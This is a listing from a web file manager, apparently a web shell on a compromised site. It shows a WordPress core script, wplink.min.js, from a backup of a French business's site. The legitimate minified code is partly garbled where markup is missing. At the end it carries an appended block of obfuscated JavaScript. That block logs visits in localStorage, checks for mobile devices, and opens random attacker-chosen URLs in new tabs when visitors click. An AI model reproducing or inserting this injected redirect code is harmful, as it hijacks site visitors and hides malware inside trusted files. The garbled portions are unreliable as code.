芝麻web文件管理V1.00
编辑当前文件:/home/p/r/i/prismawe/backup/herve-tessa-maconnerie.fr/wp-includes/js/wplink.min.js
var wpLink;!function(r){var a,t,e,n,i,s={},l={},o="ontouchend"in document;wpLink={timeToTriggerRiver:150,minRiverAJAXDuration:200,riverBottomThreshold:5,keySensitivity:100,lastSearch:"",textarea:"",init:function(){s.wrap=r("#wp-link-wrap"),s.dialog=r("#wp-link"),s.backdrop=r("#wp-link-backdrop"),s.submit=r("#wp-link-submit"),s.close=r("#wp-link-close"),s.text=r("#wp-link-text"),s.url=r("#wp-link-url"),s.nonce=r("#_ajax_linking_nonce"),s.openInNewTab=r("#wp-link-target"),s.search=r("#wp-link-search"),l.search=new e(r("#search-results")),l.recent=new e(r("#most-recent-results")),l.elements=s.dialog.find(".query-results"),s.queryNotice=r("#query-notice-message"),s.queryNoticeTextDefault=s.queryNotice.find(".query-notice-default"),s.queryNoticeTextHint=s.queryNotice.find(".query-notice-hint"),s.dialog.keydown(wpLink.keydown),s.dialog.keyup(wpLink.keyup),s.submit.click(function(e){e.preventDefault(),wpLink.update()}),s.close.add(s.backdrop).add("#wp-link-cancel a").click(function(e){e.preventDefault(),wpLink.close()}),r("#wp-link-search-toggle").on("click",wpLink.toggleInternalLinking),l.elements.on("river-select",wpLink.updateFields),s.search.on("focus.wplink",function(){s.queryNoticeTextDefault.hide(),s.queryNoticeTextHint.removeClass("screen-reader-text").show()}).on("blur.wplink",function(){s.queryNoticeTextDefault.show(),s.queryNoticeTextHint.addClass("screen-reader-text").hide()}),s.search.on("keyup input",function(){var e=this;window.clearTimeout(t),t=window.setTimeout(function(){wpLink.searchInternalLinks.call(e)},500)}),s.url.on("paste",function(){setTimeout(wpLink.correctURL,0)}),s.url.on("blur",wpLink.correctURL)},correctURL:function(){var e=r.trim(s.url.val());e&&i!==e&&!/^(?:[a-z]+:|#|\?|\.|\/)/.test(e)&&(s.url.val("http://"+e),i=e)},open:function(e){var t=r(document.body);t.addClass("modal-open"),wpLink.range=null,e&&(window.wpActiveEditor=e),window.wpActiveEditor&&(this.textarea=r("#"+window.wpActiveEditor).get(0),"undefined"!=typeof tinymce&&(t.append(s.backdrop,s.wrap),t=tinymce.get(wpActiveEditor),(a=t&&!t.isHidden()?t:null)&&tinymce.isIE&&(a.windowManager.bookmark=a.selection.getBookmark())),!wpLink.isMCE()&&document.selection&&(this.textarea.focus(),this.range=document.selection.createRange()),s.wrap.show(),s.backdrop.show(),wpLink.refresh(),r(document).trigger("wplink-open",s.wrap))},isMCE:function(){return a&&!a.isHidden()},refresh:function(){var e="";l.search.refresh(),l.recent.refresh(),wpLink.isMCE()?wpLink.mceRefresh():(s.wrap.hasClass("has-text-field")||s.wrap.addClass("has-text-field"),document.selection?e=document.selection.createRange().text||"":void 0!==this.textarea.selectionStart&&this.textarea.selectionStart!==this.textarea.selectionEnd&&(e=this.textarea.value.substring(this.textarea.selectionStart,this.textarea.selectionEnd)||""),s.text.val(e),wpLink.setDefaultValues()),o?s.url.focus().blur():s.url.focus()[0].select(),l.recent.ul.children().length||l.recent.ajax(),i=s.url.val().replace(/^http:\/\//,"")},hasSelectedText:function(e){var t=a.selection.getContent();if(/]+>[^<]+<\/a>$/.test(t)||-1===t.indexOf("href=")))return!1;if(e){var n,i=e.childNodes;if(0===i.length)return!1;for(n=i.length-1;0<=n;n--)if(3!=i[n].nodeType)return!1}return!0},mceRefresh:function(){var e,t=a.selection.getNode(),n=a.dom.getParent(t,"a[href]"),t=this.hasSelectedText(n);n?(e=n.innerText||n.textContent,s.url.val(a.dom.getAttrib(n,"href")),s.openInNewTab.prop("checked","_blank"===a.dom.getAttrib(n,"target")),s.submit.val(wpLinkL10n.update)):(e=a.selection.getContent({format:"text"}),this.setDefaultValues()),t?(s.text.val(e||""),s.wrap.addClass("has-text-field")):(s.text.val(""),s.wrap.removeClass("has-text-field"))},close:function(){r(document.body).removeClass("modal-open"),wpLink.isMCE()?a.focus():(wpLink.textarea.focus(),wpLink.range&&(wpLink.range.moveToBookmark(wpLink.range.getBookmark()),wpLink.range.select())),s.backdrop.hide(),s.wrap.hide(),i=!1,r(document).trigger("wplink-close",s.wrap)},getAttrs:function(){return wpLink.correctURL(),{href:r.trim(s.url.val()),target:s.openInNewTab.prop("checked")?"_blank":""}},buildHtml:function(e){var t='
"},update:function(){wpLink.isMCE()?wpLink.mceUpdate():wpLink.htmlUpdate()},htmlUpdate:function(){var e,t,n,i,a,r=wpLink.textarea;r&&(i=wpLink.getAttrs(),n=s.text.val(),(a=document.createElement("a")).href=i.href,"javascript:"!==a.protocol&&"data:"!==a.protocol||(i.href=""),i.href&&(e=wpLink.buildHtml(i),document.selection&&wpLink.range?(r.focus(),wpLink.range.text=e+(n||wpLink.range.text)+"
",wpLink.range.moveToBookmark(wpLink.range.getBookmark()),wpLink.range.select(),wpLink.range=null):void 0!==r.selectionStart&&(t=r.selectionStart,a=r.selectionEnd,n=t+(e=e+(i=n||r.value.substring(t,a))+"").length,t!==a||i||(n-=4),r.value=r.value.substring(0,t)+e+r.value.substring(a,r.value.length),r.selectionStart=r.selectionEnd=n),wpLink.close(),r.focus()))},mceUpdate:function(){var e,t=wpLink.getAttrs();wpLink.close(),a.focus(),tinymce.isIE&&a.selection.moveToBookmark(a.windowManager.bookmark);var n=document.createElement("a");n.href=t.href,"javascript:"!==n.protocol&&"data:"!==n.protocol||(t.href=""),t.href?(n=a.dom.getParent(a.selection.getNode(),"a"),s.wrap.hasClass("has-text-field")&&(e=s.text.val()||t.href),n?(e&&("innerText"in n?n.innerText=e:n.textContent=e),a.dom.setAttribs(n,t)):e?a.selection.setNode(a.dom.create("a",t,e)):a.execCommand("mceInsertLink",!1,t),a.nodeChanged()):a.execCommand("unlink")},updateFields:function(e,t){s.url.val(t.children(".item-permalink").val())},setDefaultValues:function(){var e;this.isMCE()?e=a.selection.getContent():document.selection&&wpLink.range?e=wpLink.range.text:void 0!==this.textarea.selectionStart&&(e=this.textarea.value.substring(this.textarea.selectionStart,this.textarea.selectionEnd)),e&&/^[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]{2,4}$/i.test(e)?s.url.val("mailto:"+e):e&&/^(https?|ftp):\/\/[A-Z0-9.-]+\.[A-Z]{2,4}[^ "]*$/i.test(e)?s.url.val(e.replace(/&|?38;/gi,"&")):s.url.val(""),s.submit.val(wpLinkL10n.save)},searchInternalLinks:function(){var e,t=r(this),n=t.val();2
':"
",i+='
',i+='
',i+=this.title||wpLinkL10n.noTitle,i+='
'+this.info+"
",a=!a}):t&&(i+='
'+wpLinkL10n.noMatchesFound+"
"),this.ul[t?"html":"append"](i)},maybeLoad:function(){var n=this,i=this.element,e=i.scrollTop()+i.height();!this.query.ready()||e
{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());